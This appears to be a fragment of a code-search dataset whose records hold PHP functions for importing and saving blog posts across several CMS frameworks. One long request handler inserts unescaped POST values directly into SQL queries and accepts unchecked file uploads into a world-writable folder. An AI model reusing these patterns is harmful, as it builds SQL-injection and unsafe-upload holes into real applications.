is_wp_error( $data ) ) {\n\t\t\t\t\t$content = str_replace( $img, $data, $content );\n\t\t\t\t} else {\n\t\t\t\t\tWP_CLI::line( \"Error: $old_filename \". $data->get_error_message() );\n\t\t\t\t}\n\t\t\t}\n\t\t\t\n\t\t\t// $content's been updated with the new HTML, so we need to re-save it\n\t\t\twp_update_post( array( 'ID' => $wp_id, 'post_content' => $content ) );\n\t\t}\n\n\t\tWP_CLI::success( \"Successfully imported post $wp_id\" );\n\t}", "title": "" }, { "docid": "1f5de59d83ee931a654715ca35624a33", "score": "0.67297834", "text": "protected function import()\n {\n if($this->import == true) {\n $json = file_get_contents( $this->json );\n $pages = json_decode( $json );\n foreach ($pages as $page) {\n $post = array(\n 'post_content' => $page->post_content,\n 'post_title' => $page->post_title,\n 'post_name' => $page->post_name,\n 'post_date' => $page->post_date,\n 'post_date_gmt' => $page->post_date,\n 'post_type' => $page->post_type,\n 'post_status' => 'publish',\n 'post_parent' => $this->getID($page->post_parent),\n );\n\n $id = wp_insert_post( $post, $error );\n\n if(!empty($id) && !empty($page->external_url)) {\n update_field('field_556ee701c2f60', $page->external_url, $id);\n }\n\n if(!empty($error)) {\n print \"There was an error importing the posts.\";\n die();\n }\n }\n }\n }", "title": "" }, { "docid": "77264d3f2f771edd92b9c4b0234e520c", "score": "0.6696666", "text": "function import_post( $post_object ) {\n // insert the post\n $post_query = DB_Query_Builder::insert_query( 'posts', array(\n 'type' => $post_object['post_info']['type'],\n 'title' => $post_object['post_info']['title'],\n 'content' => str_replace(\"'\", \"’\", $post_object['post_info']['content']),\n 'date' => $post_object['post_info']['date'],\n 'author' => $post_object['post_info']['author'],\n 'slug' => slugify($post_object['post_info']['title'])\n ) );\n $result = (new Database_Interface)->insert( $post_query );\n // get the post object\n $post = db_get_latest_entry( 'posts', array(\n 'type' => $post_object['post_info']['type']\n ) );\n // Only want to try and upload the media if there is media to upload\n if( isset($post_object['uploads']['file']) &&\n false != $post_object['uploads']['file'] && \n '' != $post_object['uploads']['file'] ) {\n // add the post media\n $media_query = DB_Query_Builder::insert_query( 'uploads', array(\n 'name' => $post_object['uploads']['file']\n ) );\n (new Database_Interface)->insert( $media_query );\n // get the media object\n $upload = db_get_latest_entry( 'uploads' );\n // tie the media to the post\n $query = DB_Query_Builder::insert_query( 'related_upload', array(\n 'post_id' => $post['ID'],\n 'upload_id' => $upload['ID']\n ) );\n $results = (new Database_Interface)->insert( $query );\n }\n}", "title": "" }, { "docid": "92578baea10ae380f727fc5fbe9573ca", "score": "0.6668831", "text": "public function actionRunImportFromPost()\n\t{\n\t\t$data = craft()->request->getPost('data');\n\n\t\t$seedModel = new SproutImport_SeedModel();\n\t\t$seedModel->type = 'Post';\n\t\t$seedModel->details = '';\n\t\t$seedModel->dateSubmitted = DateTimeHelper::currentTimeForDb();\n\n\t\tsproutImport()->tasks->createImportTasksFromPost($data, 10, $seedModel);\n\n\t\tcraft()->end();\n\t}", "title": "" }, { "docid": "fd5ef2d4a10de45c106a47c5a0276478", "score": "0.641839", "text": "function single_post_insert() {\n\t\tif(get_post_status(10000)){\n $new_post = array(\n\t\t\t'post_title' => $_POST['title'],\n\t\t\t'post_content' => 'dsds',\n\t\t\t'post_status' => 'publish',\n\t\t\t'post_type' => 'insertpostsignature',\n\t\t\t'meta_input' => array( '_ad_unit'=>'vi stories' ),\n\t\t\t'ID' => '10000'\n );\n //insert the the post into database by passing $new_post to wp_insert_post\n //store our post ID in a variable $pid\n $pid = wp_insert_post($new_post);\n\t\techo json_encode(array('flag'=>'1'));\n\t\tdie;\n\t\t} else {\n\t\t$new_post = array(\n\t\t\t'post_title' => $_POST['title'],\n\t\t\t'post_content' => 'dsds',\n\t\t\t'post_status' => 'publish',\n\t\t\t'post_type' => 'insertpostsignature',\n\t\t\t'meta_input' => array( '_ad_unit'=>'vi stories' ),\n\t\t\t'import_id' => '10000'\n );\n\t\t$pid = wp_insert_post($new_post);\n\t\techo json_encode(array('flag'=>'1'));\n\t\tdie;\n\t\t}\n\t}", "title": "" }, { "docid": "7f16f035ae5b83c6a5fcaa083207b757", "score": "0.6325437", "text": "public function cp_backup_post_data() {\r\n\r\n\t\tglobal $post;\r\n\t\t$this->current_post = $post;\r\n\t}", "title": "" }, { "docid": "25fc893e3b2053d32b3fe7cb158931a2", "score": "0.63057995", "text": "public function export()\n\t{\n\t\t$this->deleteAcfAutoDrafts();\n\n\t\t$saveConfig = array();\n\n\t\t$fieldGroups = $this->getFieldGroups();\n\n\t\tif (!$fieldGroups) {\n\t\t\t\\WP_CLI::warning(\"No field groups are selected for import/export. Go to Settings > Vandelay to select field groups for import/export.\");\n\t\t\treturn;\n\t\t}\n\n\t\tforeach ($fieldGroups as $post) {\n\t\t\t$saveConfig[] = array(\n\t\t\t\t\"post\" => get_object_vars($post),\n\t\t\t\t\"meta\" => $this->getPostMeta($post->ID)\n\t\t\t);\n\t\t}\n\n\t\t$this->saveConfig($saveConfig);\n\t}", "title": "" }, { "docid": "1ee4bf1a596381433f46fc436a9ee934", "score": "0.62791526", "text": "function import_posts() {\n\n\t\tinclude('dummy-post-data.php');\n\n\t\t// loop through 'titles' array\n\t\tforeach ($titles as $title) {\n\n\t\t\t$slug = title_to_slug($title);\n\n\t\t\t// insert or update?\n\t\t\tif ( !check_for_post_slug($slug) ) {\n\n\t\t\t\techo create_post($title);\n\n\t\t\t} else {\n\n\t\t\t\t$post_obj = check_for_post_slug($slug);\n\t\t\t\t$post_id = $post_obj[0]->ID;\n\n\t\t\t\techo update_post($post_id, $title);\n\n\t\t\t}\n\n\t\t} // end foreach\n\n\t}", "title": "" }, { "docid": "bf7fb30d07d66d3634c7dfd4909e9f4a", "score": "0.6170192", "text": "public function process_posts_import( $post ) {\n\n\t\t\t/* Import process */\n\t\t\t$all_import_posts = intval( $this->all_import_posts );\n\t\t\t$current_post = intval( $this->current_import_post );\n\n\t\t\tif( $all_import_posts > 0 ) {\n\t\t\t\t$process = round( ( $current_post * 85 ) / $all_import_posts ) + 5;\n\n\t\t\t\tif( intval( $process ) >= 1 ) {\n\t\t\t\t\t$this->update_process( intval( $process ), 1 );\n\t\t\t\t\t$this->current_import_post = $current_post + 1;\n\t\t\t\t}\n\t\t\t}\n\n\t\t\treturn $post;\n\t\t}", "title": "" }, { "docid": "ef7b2e88550bebe4c992720d9fe9c81e", "score": "0.6104427", "text": "function hmlt_save_post( $post_id ) {\n\n // ignore autosave and post revisions\n if( wp_is_post_revision( $post_id ) || wp_is_post_autosave( $post_id ) ) {\n return;\n }\n\n // first try: check for post format link url set by wp-post-formats plugin\n $url = get_post_meta( $post_id, '_format_link_url', true ); \n // fallback: take the post's title\n if( $url == '' ) {\n $url = get_the_title( $post_id );\n }\n\n // post title is valid URL\n if( hmlt_is_url( $url ) ) {\n // delete current post thumbnail\n if( has_post_thumbnail( $post_id ) ) {\n hmlt_delete_post_thumbnail( get_post_thumbnail_id( $post_id ) );\n }\n\n $image_path = get_option( 'hmlt_service_url' ) . str_replace( 'http://', '', $url );\n\n hmlt_create_attachment( $image_path, $post_id );\n }\n\n}", "title": "" }, { "docid": "a51feaede9f37cec0001dd77f88afd18", "score": "0.6068598", "text": "protected function save_post()\n {\n // do we need to save the WP post?\n $save_wp_post = false;\n foreach ($this->dirty as $key => $value) {\n\n if ($this->is_post_field($key)) {\n $save_wp_post = true;\n break;\n }\n }\n\n // save/update the WP post if dirty\n if ($save_wp_post) {\n if (empty($this->post['ID'])) {\n\n $post_id = wp_insert_post($this->post);\n $this->post['ID'] = $post_id;\n\n } else\n $post_id = wp_update_post($this->post);\n\n if (!$post_id)\n throw new Exception(\"Error saving post $post_id\");\n }\n }", "title": "" }, { "docid": "ca8e63f830a67e0055ef967f30cf02e3", "score": "0.60284525", "text": "function save_as_post($info){\n\t\textract($info);\n\t\t$my_post = array(\n\t\t 'post_title' => $SeriesName,\n\t\t 'post_content' => $Overview ,\n\t\t 'post_type' =>'series' ,\n\t\t 'post_status' => 'publish',\n\t\t 'post_author' => 1,\n\t\t 'post_excerpt' => substr( $Overview,0,50 )\n\t\t);\n\n // Insert the post into the database\n\t\t$res=wp_insert_post( $my_post );\n\t\tif($res){\n\t\t\tadd_post_meta($res,'series_meta',$info);\n\t\t\t$default_value = get_option('tvdvseries_posts_optios');\n\t\t\tadd_post_meta($res,'_mgm_post_options',$default_value,true); \n\n }\n\t\t$this->upload_image($id,array('banner' => $banner, 'poster' => $poster))\t;\n\t\t\t\n\t}", "title": "" }, { "docid": "0a6e1a02fe4e8efcc4a1e61466f9152b", "score": "0.5946542", "text": "public function savePost() {\n $delete = 'f';\n if ($this->isDeleted()) {\n $delete = 't';\n }\n Database::executeQueryReturnSingle(\"UPDATE posts \n SET poster_id = ?, text = ?, posted_date = ?, is_deleted = ?, replies_to = ? \n WHERE post_id = ?\",\n array($this->poster_id, $this->text, $this->posted_date, $delete, $this->replies_to, $this->post_id));\n }", "title": "" }, { "docid": "49fe85b36ed002a20784d83a64fc138d", "score": "0.59302425", "text": "public function run()\n {\n //\n Author::find(1)->posts()->save(Post::create([\n 'title' => 'One for all',\n 'body' => \"Il s'agit bien évidemment de l'alter de Deku\",\n 'photo_id' => 1\n ]));\n \n Author::find(2)->posts()->save(Post::create([\n 'title' => 'One for all',\n 'body' => \"Il s'agit bien évidemment de l'alter de Deku\",\n 'photo_id' => 1\n ]));\n }", "title": "" }, { "docid": "f4150e138fa610cc18cd0ce7afe8c72b", "score": "0.59256", "text": "public function save()\n {\n $this->_content->title = $this->title;\n $this->_content->text = $this->text;\n $this->_content->path = $this->path;\n $this->_content->category_id = $this->categoryId;\n $this->_content->author_id = $this->authorId;\n $this->_content->display = $this->display;\n $this->_content->meta_title = $this->metaTitle;\n $this->_content->meta_keywords = $this->metaKeywords;\n $this->_content->meta_description = $this->metaDescription;\n $this->_content->source = $this->source;\n $this->_content->important = (int)$this->important;\n $this->_content->tpl = $this->tpl;\n // check if rating is changed\n if ((int)$this->addRating !== 0) {\n $this->_content->rating += (int)$this->addRating;\n }\n\n // check if date is updated\n if (!Str::likeEmpty($this->createdAt) && !Str::startsWith('0000', Date::convertToDatetime($this->createdAt, Date::FORMAT_SQL_TIMESTAMP))) {\n $this->_content->created_at = Date::convertToDatetime($this->createdAt, Date::FORMAT_SQL_TIMESTAMP);\n }\n\n // save poster data\n $posterSlug = $this->isNew() ? 'tmp' : Date::getYear($this->_content->created_at);\n $posterPath = '/upload/gallery/' . $posterSlug . '/' . $this->galleryFreeId . '/orig/' . $this->poster;\n if (File::exist($posterPath)) {\n $this->_content->poster = $this->poster;\n }\n\n // get temporary gallery id\n $tmpGalleryId = $this->galleryFreeId;\n\n // save row\n $this->_content->save();\n \n // update tags data in special table (relation: content->content_tags = oneToMany)\n ContentTag::where('content_id', $this->_content->id)->delete();\n $insertData = [];\n foreach ($this->metaKeywords as $lang => $keys) {\n // split keywords to tag array\n $tags = explode(',', $keys);\n foreach ($tags as $tag) {\n // cleanup tag from white spaces\n $tag = trim($tag);\n // prepare data to insert\n if (Str::length($tag) > 0) {\n $insertData[] = [\n 'content_id' => $this->_content->id,\n 'lang' => $lang,\n 'tag' => $tag\n ];\n }\n }\n }\n // insert tags\n ContentTag::insert($insertData);\n\n // move files with current year\n $date = Date::convertToDatetime($this->_content->created_at, 'd.m.Y');\n $year = Date::getYear($date);\n \n // is new item? move from /tmp/ to /year/ path\n if ((int)$tmpGalleryId < 1 && $tmpGalleryId !== $this->_content->id) {\n Directory::move('/upload/gallery/tmp/' . $tmpGalleryId, '/upload/gallery/' . $year . '/' . $this->_content->id);\n } elseif ($this->_yearOld !== $year) { // year is changed? move to new folder\n Directory::move('/upload/gallery/' . $this->_yearOld . '/' . $tmpGalleryId, '/upload/gallery/' . $year . '/' . $tmpGalleryId);\n }\n }", "title": "" }, { "docid": "9120dca91145170bc5c1dee967417d5a", "score": "0.5910615", "text": "public function import()\n {\n if (is_on_multi_site_network()) {\n attach_message(do_lang_tempcode('EDITING_ON_WRONG_MSN'), 'warn');\n }\n\n require_code('form_templates');\n\n $post_url = build_url(array('page' => '_SELF', 'type' => '_import', 'uploading' => 1), '_SELF');\n $fields = new Tempcode();\n $supported = 'tar';\n if ((function_exists('zip_open')) || (get_option('unzip_cmd') != '')) {\n $supported .= ', zip';\n }\n $fields->attach(form_input_upload_multi(do_lang_tempcode('UPLOAD'), do_lang_tempcode('DESCRIPTION_ARCHIVE_IMAGES', escape_html($supported), escape_html(str_replace(',', ', ', get_option('valid_images')))), 'file', true, null, null, true, str_replace(' ', '', get_option('valid_images') . ',' . $supported)));\n\n $text = paragraph(do_lang_tempcode('IMPORT_EMOTICONS_WARNING'));\n require_code('images');\n $max = floatval(get_max_image_size()) / floatval(1024 * 1024);\n /*if ($max < 1.0) { Ok - this is silly! Emoticons are tiny.\n require_code('files2');\n $config_url = get_upload_limit_config_url();\n $text->attach(paragraph(do_lang_tempcode(is_null($config_url) ? 'MAXIMUM_UPLOAD' : 'MAXIMUM_UPLOAD_STAFF', escape_html(($max > 10.0) ? integer_format(intval($max)) : float_format($max)), escape_html(is_null($config_url) ? '' : $config_url))));\n }*/\n\n $hidden = build_keep_post_fields();\n $hidden->attach(form_input_hidden('test', '1'));\n handle_max_file_size($hidden);\n\n return do_template('FORM_SCREEN', array('_GUID' => '1910e01ec183392f6b254671dc7050a3', 'TITLE' => $this->title, 'FIELDS' => $fields, 'SUBMIT_ICON' => 'menu___generic_admin__import', 'SUBMIT_NAME' => do_lang_tempcode('BATCH_IMPORT_ARCHIVE_CONTENTS'), 'URL' => $post_url, 'TEXT' => $text, 'HIDDEN' => $hidden));\n }", "title": "" }, { "docid": "87511cbe381f267824182474303ced87", "score": "0.5908829", "text": "private function import_post_robot($post_id)\n {\n }", "title": "" }, { "docid": "784292469071a98e037dabc5b36b8b2d", "score": "0.5838056", "text": "private function articlePost(){\n\t\t$title = $this->postArticleView->getArticleTitle();\n\t\t$text = $this->postArticleView->getArticleText();\n\t\t$pic = $this->postArticleView->getArticlePic();\n\t\t$youtubeLink = $this->postArticleView->getYoutubeLink();\n\t\t$link = $this->postArticleView->getArticleLink();\n\t\t$linkShortName = $this->postArticleView->getArticleLinkShortName();\n\t\t$anonymous = $this->postArticleView->getRadioAnonymous();\n\t\t$this->articleModel->postArticle($title, $text, $pic, $youtubeLink, $link, $linkShortName, $anonymous,$this->userObject);\n\t}", "title": "" }, { "docid": "a2e80ceb0aee1e046de921afd23a6640", "score": "0.58304054", "text": "public function save(Post $post);", "title": "" }, { "docid": "a1e5aa68d97fc23ff70bd36b5c2b6631", "score": "0.58131534", "text": "function handle(){\n switch ($_POST[\"action\"]) {\n case ACTION_SAVE_POST:\n $data = []; // return data\n \n $post_name = $_POST[\"name\"];\n $post_file = $_POST[\"file\"];\n $post_draft = $_POST[\"draft\"];\n $post_id = $_POST[\"postid\"];\n $post_wasdraft = $_POST[\"wasdraft\"];\n $post_permalink = $_POST[\"permalink\"];\n \n $data[\"wasdraft\"] = $post_wasdraft;\n $data[\"post_draft\"] = $post_draft;\n $data[\"conditional\"] = ($post_wasdraft === \"true\" && $post_draft === \"false\");\n \n // dates\n $date = date(\"Y-m-d\");\n \n $post_publishdate = \"\";\n $post_lastedited = \"\";\n \n $setPublishDate = ($post_wasdraft === \"true\" && $post_draft === \"false\");\n \n if ($setPublishDate) {\n $post_publishdate = date(\"Y-m-d\");\n $post_lastedited = $post_publishdate;\n }\n \n $post_file = mysql_escape_mimic($post_file);\n $post_short_preview = strip_tags(substr($post_file, 0, 30));\n \n// $post_draft = $post_draft ? 1 : 0;\n \n $conn = new mysqli(DB_SERVER, DB_USERNAME, DB_PASSWORD, DB_NAME);\n \n if ($conn->connect_error) {\n die(\"Connection failed: \" . $conn->connect_error);\n }\n \n if ($post_id == \"\") { // this is a brand new post (doesn't happen, now posts are saved as new drafts manually)\n $sql = \"INSERT INTO blogbase (\n content, \n posttitle, \n draft, \n permalink,\n shortpreview, \n publishdate, \n lastedited)\n VALUES (\n '\" . $post_file . \"',\n \\\"$post_name\\\", \n $post_draft, \n \\\"$post_permalink\\\",\n \\\"$post_short_preview\\\",\n \\\"$date\\\",\n \\\"$date\\\")\";\n } else {\n // find out if this post is already published\n if ($setPublishDate){ // a draft is being published, set publishdate\n $sql = \"UPDATE blogbase SET content='$post_file'\n , posttitle='$post_name'\n , draft='$post_draft'\n , shortpreview='$post_short_preview'\n , publishdate='$post_publishdate'\n , permalink='$post_permalink'\n , lastedited='$post_lastedited'\n WHERE id=$post_id\";\n $data[\"route\"] = \"post was a draft and is set to become published\";\n \n } else { // a draft or post is being updated, don't change publishdate\n $sql = \"UPDATE blogbase SET content='$post_file'\n , posttitle='$post_name'\n , draft='$post_draft'\n , shortpreview='$post_short_preview'\n , lastedited='$date'\n , permalink='$post_permalink'\n WHERE id=$post_id\";\n $data[\"route\"] = \"post was a not a draft and is set to be updated\";\n }\n \n \n }\n \n $result = $conn->query($sql);\n\n if ($result === TRUE) {\n $data[\"postid\"] = $post_id == \"\" ? $conn->insert_id : $post_id;\n $data[\"draft\"] = $post_draft;\n echo json_encode($data);\n } else {\n echo \"Error: \" . $sql . \"<br>\" . $conn->error;\n }\n\n $conn->close();\n exit;\n break;\n case ACTION_POST_PERMALINK:\n $post_id = $_POST[\"postid\"];\n $permalink = $_POST[\"permalink\"];\n \n $sql = \"UPDATE blogbase \n SET permalink=\\\"$permalink\\\"\n WHERE id=$post_id\";\n \n $conn = new mysqli(DB_SERVER, DB_USERNAME, DB_PASSWORD, DB_NAME);\n $result = $conn->query($sql);\n \n if ($result === TRUE) {\n $data = [];\n $data[\"query\"] = $sql;\n $data[\"postid\"] = $post_id;\n $data[\"permalink\"] = $permalink;\n echo json_encode($data);\n } else {\n echo \"Error: \" . $sql . \"<br>\" . $conn->error;\n }\n \n $conn->close();\n \n exit;\n break;\n case ACTION_POST_DRAFT_STATUS:\n $post_id = $_POST[\"postid\"];\n $draft = $_POST[\"draft\"];\n \n $sql = \"UPDATE blogbase \n SET draft=$draft\n WHERE id=$post_id\";\n \n $conn = new mysqli(DB_SERVER, DB_USERNAME, DB_PASSWORD, DB_NAME);\n $result = $conn->query($sql);\n \n if ($result === TRUE) {\n $data = [];\n $data[\"query\"] = $sql;\n $data[\"postid\"] = $post_id;\n $data[\"draft\"] = $draft;\n echo json_encode($data);\n } else {\n echo \"Error: \" . $sql . \"<br>\" . $conn->error;\n }\n \n $conn->close();\n break;\n case ACTION_SAVE_TAG:\n $tag_name = $_POST[\"name\"];\n $post_id = $_POST[\"postid\"];\n \n $conn = new mysqli(DB_SERVER, DB_USERNAME, DB_PASSWORD, DB_NAME);\n \n if ($conn->connect_error) {\n die(\"Connection failed: \" . $conn->connect_error);\n }\n \n $sql = \"INSERT INTO tagbase (tagname) VALUES (\\\"$tag_name\\\")\";\n \n $result = $conn->query($sql);\n \n if ($result === TRUE) {\n $data = [];\n $data[\"tag_name\"] = $tag_name;\n $data[\"tag_id\"] = $conn->insert_id;\n \n // update the tagblogmap\n $sql = \"INSERT INTO tagblogmap (postid, tagid) VALUES ($post_id, $conn->insert_id)\";\n $result = $conn->query($sql);\n if ($result === TRUE) {\n echo json_encode($data);\n } else {\n // failed\n }\n } else {\n echo \"Error: \" . $sql . \"<br>\" . $conn->error;\n }\n \n $conn->close();\n exit;\n break;\n case ACTION_ADD_TAG_TO_POST:\n $tagid = $_POST[\"tagid\"];\n $postid = $_POST[\"postid\"];\n \n $conn = new mysqli(DB_SERVER, DB_USERNAME, DB_PASSWORD, DB_NAME);\n \n if ($conn->connect_error) {\n die(\"Connection failed: \" . $conn->connect_error);\n }\n // to do: add binding here\n $sql = \"INSERT INTO tagblogmap (tagid, postid)\n VALUES (\\\"$tagid\\\", \\\"$postid\\\")\";\n \n $result = $conn->query($sql);\n \n if ($result === TRUE) {\n echo (\"Success\");\n } else {\n echo \"Error: \" . $sql . \"<br>\" . $conn->error;\n }\n \n exit;\n break;\n case ACTION_REMOVE_TAG_FROM_POST:\n $tagid = $_POST[\"tagid\"];\n $postid = $_POST[\"postid\"];\n \n $conn = new mysqli(DB_SERVER, DB_USERNAME, DB_PASSWORD, DB_NAME);\n \n if ($conn->connect_error) {\n die(\"Connection failed: \" . $conn->connect_error);\n }\n // to do: add binding here\n $sql = \"DELETE FROM tagblogmap\n WHERE tagid = $tagid AND postid = $postid\";\n \n $result = $conn->query($sql);\n \n if ($result === TRUE) {\n echo (\"Success\");\n } else {\n echo \"Error: \" . $sql . \"<br>\" . $conn->error;\n }\n \n exit;\n break;\n case ACTION_SAVE_CAT:\n $cat_name = $_POST[\"name\"];\n $post_id = $_POST[\"postid\"];\n \n $conn = new mysqli(DB_SERVER, DB_USERNAME, DB_PASSWORD, DB_NAME);\n \n if ($conn->connect_error) {\n die(\"Connection failed: \" . $conn->connect_error);\n }\n \n $sql = \"INSERT INTO catbase (catname) VALUES (\\\"$cat_name\\\")\";\n \n $result = $conn->query($sql);\n \n if ($result === TRUE) {\n $data = [];\n $data[\"cat_name\"] = $cat_name;\n $data[\"cat_id\"] = $conn->insert_id;\n \n // update the tagblogmap\n $sql = \"UPDATE blogbase SET category = $conn->insert_id WHERE id = $post_id\";\n $result = $conn->query($sql);\n if ($result === TRUE) {\n echo json_encode($data);\n } else {\n // failed\n }\n } else {\n echo \"Error: \" . $sql . \"<br>\" . $conn->error;\n }\n \n $conn->close();\n exit;\n break;\n case ACTION_ADD_CAT_TO_POST:\n $catid = $_POST[\"catid\"];\n $postid = $_POST[\"postid\"];\n \n $conn = new mysqli(DB_SERVER, DB_USERNAME, DB_PASSWORD, DB_NAME);\n \n if ($conn->connect_error) {\n die(\"Connection failed: \" . $conn->connect_error);\n }\n // to do: add binding here\n $sql = \"UPDATE blogbase SET category = $catid WHERE id = $postid\";\n \n $result = $conn->query($sql);\n \n if ($result === TRUE) {\n echo (\"Success\");\n } else {\n echo \"Error: \" . $sql . \"<br>\" . $conn->error;\n }\n \n exit;\n break;\n case ACTION_REMOVE_CAT_FROM_POST:\n $catid = $_POST[\"catid\"];\n $postid = $_POST[\"postid\"];\n \n $conn = new mysqli(DB_SERVER, DB_USERNAME, DB_PASSWORD, DB_NAME);\n \n if ($conn->connect_error) {\n die(\"Connection failed: \" . $conn->connect_error);\n }\n // to do: add binding here\n $sql = \"UPDATE blogbase SET category = NULL WHERE id = $postid\";\n \n $result = $conn->query($sql);\n \n if ($result === TRUE) {\n echo (\"Success\");\n } else {\n echo \"Error: \" . $sql . \"<br>\" . $conn->error;\n }\n \n exit;\n break;\n case ACTION_TAGS_BY_POSTID:\n $conn = new mysqli(DB_SERVER, DB_USERNAME, DB_PASSWORD, DB_NAME);\n \n if ($conn->connect_error) {\n die(\"Connection failed: \" . $conn->connect_error);\n }\n $post_id = $_POST[\"postid\"];\n \n $sql = \"SELECT tagname FROM tagblogview WHERE postid = $post_id\";\n \n $result = $conn->query($sql);\n \n if ($result != false) {\n if ($result->num_rows > 0) {\n // output data of each row\n while($row = $result->fetch_assoc()) {\n echo \"<br>tagname: \" . $row[\"tagname\"];\n }\n } else {\n echo \"Did not find any tags for this post\";\n }\n } else {\n echo \"Did not find any tags for this post\";\n }\n \n\n $conn->close();\n break;\n exit;\n case ACTION_UPLOAD_IMAGE:\n $dateSuffix = date(\"Y/m/\");\n $imgDir = MEDIA_DIR . $dateSuffix;\n if (!file_exists($imgDir)) {\n mkdir($imgDir, 0777, true);\n }\n \n $data = [];\n \n foreach ($_FILES[\"imgfile\"][\"error\"] as $key => $error) {\n \n if ($error == UPLOAD_ERR_OK) {\n $tmp_name = $_FILES[\"imgfile\"][\"tmp_name\"][$key];\n $name = $_FILES[\"imgfile\"][\"name\"][$key];\n $original_name = $name;\n $name = $imgDir . $name;\n \n if (file_exists($name)) {\n $regex = \"/\\(([0-9])\\)/\";\n $nameparts = explode(\".\", $name);\n \n $shortname = \"\";\n $extension = \"\";\n if (sizeof($nameparts) > 1) {\n $shortname = $nameparts[0];\n for ($i = 1; $i < sizeof($nameparts); $i++) {\n $extension = $extension . \".\" . $nameparts[$i];\n }\n } else {\n $shortname = $name;\n }\n \n $testname = $shortname . \" (1)\";\n if (file_exists($testname . $extension)) {\n $shortname = $testname;\n \n $count = 2;\n $badname = true;\n while($badname) {\n $shortname = substr($shortname, 0, -3);\n $shortname = $shortname . \"($count)\";\n $testname = $shortname . $extension;\n if (!file_exists($testname)){\n $badname = false;\n } else {\n $count++;\n }\n }\n $name = $shortname . $extension;\n \n } else { // file name with \" (1)\" does not exist\n $name = $testname . $extension;\n }\n \n $parts = explode(\"/\", $name);\n $imgFileName = $parts[sizeof($parts) - 1];\n $img_url = MEDIA_URL . $dateSuffix . $imgFileName;\n \n $data[\"original_name\"] = $original_name;\n $data[\"saved_as_name\"] = $name;\n $data[\"success\"] = true;\n $data[\"img_url\"] = $img_url;\n $data[\"message\"] = \"Success!\";\n \n move_uploaded_file($tmp_name, \"$name\");\n echo json_encode($data);\n } else {\n $img_url = MEDIA_URL . $dateSuffix . $original_name;\n $data[\"success\"] = true;\n $data[\"img_url\"] = $img_url;\n $data[\"message\"] = \"Success!\";\n move_uploaded_file($tmp_name, \"$name\");\n echo json_encode($data);\n }\n } else {\n echo \"we gotted here. this the else\";\n $data[\"success\"] = false;\n $data[\"message\"] = \"One or more images did not upload successfully.\";\n echo json_encode($data);\n }\n }\n exit;\n break;\n case ACTION_UPLOAD_FEATURED_IMAGE:\n $data = [];\n $data = uploadImage();\n// if ($data[\"success\"] == \"false\") {\n// echo json_encode($data);exit;\n// }\n $post_id = $_POST[\"postid\"];\n $image_url = $data[\"img_url\"];\n \n $sql = \"UPDATE blogbase \n SET featuredimage=\\\"$image_url\\\"\n WHERE id=$post_id\";\n \n $conn = new mysqli(DB_SERVER, DB_USERNAME, DB_PASSWORD, DB_NAME);\n $result = $conn->query($sql);\n \n if ($result === TRUE) {\n $data[\"query\"] = $sql;\n $data[\"postid\"] = $post_id;\n } else {\n echo \"Error: \" . $sql . \"<br>\" . $conn->error;\n }\n \n $conn->close();\n \n echo json_encode($data);exit;\n \n exit;\n break;\n \n default:\n exit;\n ;\n } // end of switch statement\n exit; // last line of handle()\n}", "title": "" }, { "docid": "9ca264586e048e3a55d4074af08c9347", "score": "0.5799219", "text": "public function import()\n {\n $xmlstring=Storage::disk('local')->get('imports/posts.xml');\n $xmlstring = str_replace(\"<content:encoded>\",\"<contentEncoded>\",$xmlstring);\n $xmlstring = str_replace(\"</content:encoded>\",\"</contentEncoded>\",$xmlstring);\n $xml = simplexml_load_string($xmlstring);\n $items=$xml->channel->item;\n $i=1;\n foreach($items as $item){\n $data=array();\n $data['content']=(string)ltrim($item->contentEncoded);\n if (strlen($data['content'])<=160){\n $data['metadesc']=$data['content'];\n } else {\n $data['metadesc']='';\n $words=explode(\" \", $data['content']);\n foreach($words as $word){\n if (strlen($data['metadesc']) + strlen($word)<160){\n $data['metadesc'].=\" \".$word;\n }\n }\n if ( substr_count('.,\"!?' , substr($data['metadesc'],-1) )<1){\n $data['metadesc'].=\"...\";\n }\n }\n $data['title']=ltrim($item->title);\n $data['slug']=str_replace(\"/\",\"\",str_replace(\"https://www.markmakesstuff.com/\",\"\",ltrim($item->link)));\n $data['status']=1;\n $data['pub_date']=date(\"Y-m-d\", strtotime($item->pubDate) );\n // FIX SLUGS\n // echo $i.\" \".$data['slug'].\"<br />\";\n // $data2=array();\n // $data2['slug']=$data['slug'];\n // Post::where('id',$i)->update($data);\n $result=Post::create($data);\n $i++;\n }\n return redirect('/posts/')->with('info','Projects imported.');\n }", "title": "" }, { "docid": "acf19631595879198b14ba94178675c1", "score": "0.57958126", "text": "private function import_post_opengraph($post_id)\n {\n }", "title": "" }, { "docid": "212992f1506e9894a6dd9c43c9c74313", "score": "0.5794929", "text": "public function save() {\n // enregistrer l'image après l'avoir renommée\n if ($filename = $this->saveIllustration($_FILES['illustration'])) {\n // enregistrer l'article\n $_POST['illustration'] = $filename;\n Post::getInstance()->add($_POST);\n }\n\n redirect('/posts');\n }", "title": "" }, { "docid": "8d83fec7dac1fbc392f933016e05d041", "score": "0.5791454", "text": "private function save_entry( $posted_values ){\n ?><pre><?php print_r( $posted_values );?></pre><?php\n $post_content = isset( $posted_values['content'] ) ? $posted_values['content'] : '';\n\n $post_args = array(\n 'post_title' => esc_attr( $posted_values['title'] ),\n 'post_type' => 'member-post',\n 'post_content' => wp_kses_post( $post_content ),\n 'post_author' => absint( get_current_user_id() ),\n 'post_status' => 'publish',\n );\n\n if ( isset( $posted_values['post_id'] ) && ! empty( $posted_values['post_id'] ) ){\n $post_args['ID'] = absint( $posted_values['post_id'] );\n }\n\n $post_id = wp_insert_post( $post_args );\n\n if ( ! is_wp_error( $post_id ) ){\n $args = array(\n 'success' => true,\n 'message' => 'Task saved',\n );\n\n if ( $post_id == $posted_values['post_id'] ){\n $args['updated'] = true;\n $args['entry_title'] = esc_attr( $posted_values['title'] );\n $args['entry_entry'] = esc_textarea( $posted_values['entry'] );\n } else {\n $entry = get_post( $post_id );\n $args['html'] = awpd_ha_3_get_single_entry( $entry );\n }\n\n } else {\n $args = array(\n 'success' => false,\n 'message' => 'Had a post title but somethin went wrong saving the task',\n );\n }\n\n return $args;\n\n }", "title": "" }, { "docid": "81586fb0b130e80fc82de3ca3b907aa8", "score": "0.5784243", "text": "function wp_write_post() {\n\tglobal $user_ID;\n\n\tif ( 'page' == $_POST['post_type'] ) {\n\t\tif ( !current_user_can( 'edit_pages' ) )\n\t\t\treturn new WP_Error( 'edit_pages', __( 'You are not allowed to create pages on this blog.' ) );\n\t} else {\n\t\tif ( !current_user_can( 'edit_posts' ) )\n\t\t\treturn new WP_Error( 'edit_posts', __( 'You are not allowed to create 